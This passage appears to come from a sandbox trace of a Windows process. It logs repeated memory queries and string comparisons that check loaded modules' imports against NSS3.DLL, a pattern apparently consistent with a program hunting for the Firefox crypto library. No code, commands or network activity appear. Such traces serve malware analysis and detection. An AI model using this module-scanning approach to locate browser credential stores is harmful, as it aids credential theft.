returned 0x1c [0070.871] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.871] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x769e0000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x769e0000, AllocationBase=0x769e0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.871] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.872] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x75450000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x75450000, AllocationBase=0x75450000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.872] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.872] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76c00000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x76c00000, AllocationBase=0x76c00000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.872] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.872] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.872] lstrcmpiA (lpString1="ntdll.dll", lpString2="NSS3.DLL") returned 1 [0070.872] lstrcmpiA (lpString1="GDI32.dll", lpString2="NSS3.DLL") returned -1 [0070.872] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="NSS3.DLL") returned -1 [0070.872] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="NSS3.DLL") returned -1 [0070.872] lstrcmpiA (lpString1="CFGMGR32.dll", lpString2="NSS3.DLL") returned -1 [0070.872] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="NSS3.DLL") returned -1 [0070.872] lstrcmpiA (lpString1="POWRPROF.dll", lpString2="NSS3.DLL") returned 1 [0070.872] lstrcmpiA (lpString1="WINSTA.dll", lpString2="NSS3.DLL") returned 1 [0070.872] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.872] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.872] lstrcmpiA (lpString1="ntdll.dll", lpString2="NSS3.DLL") returned 1 [0070.872] lstrcmpiA (lpString1="GDI32.dll", lpString2="NSS3.DLL") returned -1 [0070.872] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="NSS3.DLL") returned -1 [0070.872] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="NSS3.DLL") returned -1 [0070.872] lstrcmpiA (lpString1="CFGMGR32.dll", lpString2="NSS3.DLL") returned -1 [0070.872] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="NSS3.DLL") returned -1 [0070.872] lstrcmpiA (lpString1="POWRPROF.dll", lpString2="NSS3.DLL") returned 1 [0070.872] lstrcmpiA (lpString1="WINSTA.dll", lpString2="NSS3.DLL") returned 1 [0070.872] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.872] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.872] lstrcmpiA (lpString1="ntdll.dll", lpString2="NSS3.DLL") returned 1 [0070.872] lstrcmpiA (lpString1="GDI32.dll", lpString2="NSS3.DLL") returned -1 [0070.872] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="NSS3.DLL") returned -1 [0070.872] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="NSS3.DLL") returned -1 [0070.872] lstrcmpiA (lpString1="CFGMGR32.dll", lpString2="NSS3.DLL") returned -1 [0070.872] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="NSS3.DLL") returned -1 [0070.872] lstrcmpiA (lpString1="POWRPROF.dll", lpString2="NSS3.DLL") returned 1 [0070.872] lstrcmpiA (lpString1="WINSTA.dll", lpString2="NSS3.DLL") returned 1 [0070.872] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.872] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.872] lstrcmpiA (lpString1="ntdll.dll", lpString2="NSS3.DLL") returned 1 [0070.873] lstrcmpiA (lpString1="GDI32.dll", lpString2="NSS3.DLL") returned -1 [0070.873] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="NSS3.DLL") returned -1 [0070.873] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="NSS3.DLL") returned -1 [0070.873] lstrcmpiA (lpString1="CFGMGR32.dll", lpString2="NSS3.DLL") returned -1 [0070.873] lstrcmpiA (lpString1="MSIMG32.dll", lpString2="NSS3.DLL") returned -1 [0070.873] lstrcmpiA (lpString1="POWRPROF.dll", lpString2="NSS3.DLL") returned 1 [0070.873] lstrcmpiA (lpString1="WINSTA.dll", lpString2="NSS3.DLL") returned 1 [0070.873] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.873] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x76850000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x76850000, AllocationBase=0x76850000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.873] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.873] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.873] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.873] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.873] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="NSS3.DLL") returned -1 [0070.873] lstrcmpiA (lpString1="USER32.dll", lpString2="NSS3.DLL") returned 1 [0070.873] lstrcmpiA (lpString1="ntdll.dll", lpString2="NSS3.DLL") returned 1 [0070.873] lstrcmpiA (lpString1="LPK.dll", lpString2="NSS3.DLL") returned -1 [0070.873] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.873] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.873] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.873] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.873] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="NSS3.DLL") returned -1 [0070.873] lstrcmpiA (lpString1="USER32.dll", lpString2="NSS3.DLL") returned 1 [0070.873] lstrcmpiA (lpString1="ntdll.dll", lpString2="NSS3.DLL") returned 1 [0070.873] lstrcmpiA (lpString1="LPK.dll", lpString2="NSS3.DLL") returned -1 [0070.873] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.873] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.873] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.873] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.873] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="NSS3.DLL") returned -1 [0070.873] lstrcmpiA (lpString1="USER32.dll", lpString2="NSS3.DLL") returned 1 [0070.873] lstrcmpiA (lpString1="ntdll.dll", lpString2="NSS3.DLL") returned 1 [0070.873] lstrcmpiA (lpString1="LPK.dll", lpString2="NSS3.DLL") returned -1 [0070.873] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.873] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.873] lstrcmpiA (lpString1="API-MS-Win-Core-LocalRegistry-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.873] lstrcmpiA (lpString1="API-MS-Win-Security-Base-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.873] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="NSS3.DLL") returned -1 [0070.874] lstrcmpiA (lpString1="USER32.dll", lpString2="NSS3.DLL") returned 1 [0070.874] lstrcmpiA (lpString1="ntdll.dll", lpString2="NSS3.DLL") returned 1 [0070.874] lstrcmpiA (lpString1="LPK.dll", lpString2="NSS3.DLL") returned -1 [0070.874] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.874] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x754d0000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x754d0000, AllocationBase=0x754d0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.874] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.874] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.874] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.874] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.874] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.874] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.874] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.874] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.874] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.874] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.874] lstrcmpiA (lpString1="GDI32.dll", lpString2="NSS3.DLL") returned -1 [0070.874] lstrcmpiA (lpString1="USER32.dll", lpString2="NSS3.DLL") returned 1 [0070.874] lstrcmpiA (lpString1="ntdll.dll", lpString2="NSS3.DLL") returned 1 [0070.874] lstrcmpiA (lpString1="USP10.dll", lpString2="NSS3.DLL") returned 1 [0070.874] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.874] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.874] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.874] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.874] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.874] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.874] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.874] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.874] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.874] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.874] lstrcmpiA (lpString1="GDI32.dll", lpString2="NSS3.DLL") returned -1 [0070.874] lstrcmpiA (lpString1="USER32.dll", lpString2="NSS3.DLL") returned 1 [0070.874] lstrcmpiA (lpString1="ntdll.dll", lpString2="NSS3.DLL") returned 1 [0070.874] lstrcmpiA (lpString1="USP10.dll", lpString2="NSS3.DLL") returned 1 [0070.874] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.874] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.874] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.874] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="GDI32.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="USER32.dll", lpString2="NSS3.DLL") returned 1 [0070.875] lstrcmpiA (lpString1="ntdll.dll", lpString2="NSS3.DLL") returned 1 [0070.875] lstrcmpiA (lpString1="USP10.dll", lpString2="NSS3.DLL") returned 1 [0070.875] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.875] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.875] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="GDI32.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="USER32.dll", lpString2="NSS3.DLL") returned 1 [0070.875] lstrcmpiA (lpString1="ntdll.dll", lpString2="NSS3.DLL") returned 1 [0070.875] lstrcmpiA (lpString1="USP10.dll", lpString2="NSS3.DLL") returned 1 [0070.875] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.875] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x757f0000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x757f0000, AllocationBase=0x757f0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.875] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.875] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.875] lstrcmpiA (lpString1="msvcrt.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="USER32.dll", lpString2="NSS3.DLL") returned 1 [0070.875] lstrcmpiA (lpString1="GDI32.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="NSS3.DLL") returned -1 [0070.875] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.875] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.875] lstrcmpiA (lpString1="msvcrt.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="NSS3.DLL") returned -1 [0070.875] lstrcmpiA (lpString1="USER32.dll", lpString2="NSS3.DLL") returned 1 [0070.876] lstrcmpiA (lpString1="GDI32.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="NSS3.DLL") returned -1 [0070.876] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.876] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.876] lstrcmpiA (lpString1="msvcrt.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="USER32.dll", lpString2="NSS3.DLL") returned 1 [0070.876] lstrcmpiA (lpString1="GDI32.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="NSS3.DLL") returned -1 [0070.876] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.876] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.876] lstrcmpiA (lpString1="msvcrt.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="USER32.dll", lpString2="NSS3.DLL") returned 1 [0070.876] lstrcmpiA (lpString1="GDI32.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="NSS3.DLL") returned -1 [0070.876] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.876] VirtualQueryEx (in: hProcess=0xffffffff, lpAddress=0x764e0000, lpBuffer=0x3ffb28, dwLength=0x1c | out: lpBuffer=0x3ffb28*(BaseAddress=0x764e0000, AllocationBase=0x764e0000, AllocationProtect=0x80, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000)) returned 0x1c [0070.876] NtQueryInformationProcess (in: ProcessHandle=0xffffffff, ProcessInformationClass=0x0, ProcessInformation=0x3ffadc, ProcessInformationLength=0x18, ReturnLength=0x0 | out: ProcessInformation=0x3ffadc, ReturnLength=0x0) returned 0x0 [0070.876] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.876] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="ntdll.dll", lpString2="NSS3.DLL") returned 1 [0070.876] lstrcmpiA (lpString1="API-MS-Win-Core-Console-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="API-MS-Win-Core-DateTime-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="API-MS-Win-Core-Fibers-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="API-MS-Win-Core-Interlocked-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.876] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-Util-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.877] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.877] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="ntdll.dll", lpString2="NSS3.DLL") returned 1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-Console-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-DateTime-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-Fibers-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-Interlocked-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessEnvironment-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-ProcessThreads-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-Profile-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-String-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-Synch-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-SysInfo-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-Util-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] HeapFree (in: hHeap=0xa20000, dwFlags=0x0, lpMem=0xe1e888 | out: hHeap=0xa20000) returned 1 [0070.877] RtlAllocateHeap (HeapHandle=0xa20000, Flags=0x0, Size=0x30) returned 0xe1e888 [0070.877] lstrcmpiA (lpString1="KERNELBASE.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="ntdll.dll", lpString2="NSS3.DLL") returned 1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-Console-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-DateTime-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-Debug-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.877] lstrcmpiA (lpString1="API-MS-Win-Core-ErrorHandling-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-Fibers-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-File-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-Handle-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-Heap-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-Interlocked-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-Localization-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-LibraryLoader-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-Memory-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-Misc-L1-1-0.dll", lpString2="NSS3.DLL") returned -1 [0070.878] lstrcmpiA (lpString1="API-MS-Win-Core-NamedPipe-L1-1-0.dll", lpString2="NSS3.DLL") returned 